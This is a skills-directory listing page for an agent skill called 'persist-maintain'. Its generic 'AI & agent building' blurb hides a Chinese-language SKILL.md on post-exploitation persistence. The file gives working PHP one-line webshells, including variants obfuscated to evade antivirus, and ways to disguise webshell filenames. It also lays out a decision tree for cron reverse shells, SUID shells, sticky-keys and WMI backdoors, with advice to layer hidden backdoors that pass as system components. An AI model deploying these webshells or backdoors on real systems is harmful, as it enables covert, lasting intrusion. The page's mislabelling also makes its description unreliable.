Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Persist Maintain

  • 28 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

persist-maintain is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • persist-maintain
  • AI & Agent Building
  • AI-coding skill

Persist Maintain by the numbers

  • 28 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #9,462 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill persist-maintain

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs28
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

权限持久化方法论

持久化核心:建立不依赖原始漏洞的访问通道。

⛔ 深入参考(必读)

  • 需要 Linux/Windows 各种持久化技术的具体命令 → references/persistence-techniques.md

---

Phase 1: Web 层持久化

Webshell 部署

部署位置(按隐蔽性):静态资源目录 > 上传目录 > 框架目录深处 > 已有文件末尾追加

隐蔽 Webshell

<?php @eval($_POST['cmd']);?>                    // 一句话
<?php $a='sys'.'tem'; $a($_GET['c']);?>          // 字符串拼接免杀
<?php array_map('assert', array($_POST['cmd']));?>  // 函数回调免杀

文件名伪装.htaccess, config.bak.php, error_log.php, .user.ini

Phase 2: 持久化决策树

目标操作系统?
├─ Linux
│   ├─ 有 SSH 访问?→ SSH 公钥(最可靠)
│   ├─ 需要自动回连?→ Cron 反弹 shell
│   ├─ 需要隐蔽?→ systemd 服务 / bashrc 后门
│   └─ 快速后门?→ SUID shell
├─ Windows
│   ├─ 有管理员权限?→ WMI 事件订阅(最难检测)
│   ├─ 需要开机启动?→ 注册表 Run 键 / 计划任务
│   └─ 有 RDP 访问?→ Sticky Keys 后门
└─ Web 层(通用)→ Webshell
详细命令 → [references/persistence-techniques.md](references/persistence-techniques.md)

Phase 3: 多层持久化策略

不要只用一种——建立多层后门: 1. 第一层:Webshell(Web 层,最容易恢复) 2. 第二层:SSH 密钥或计划任务(系统层) 3. 第三层:服务或 WMI 订阅(深层,难以发现)

注意事项

  • 持久化越隐蔽越好——文件名/服务名/任务名应像正常系统组件
  • 避免使用明显路径(如 /tmp/backdoor.sh
  • 在红队评估中,记录部署了什么、在哪里

PHP Webshell 混淆

  • 变量函数:$$var 动态调用,避免直接出现 eval/system(隐蔽执行)
  • 替代函数:eval 替代为 assert,system 替代为 passthru 等

隐蔽性排名

  • 不要修改 index.php 等核心文件——容易发现,危险

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.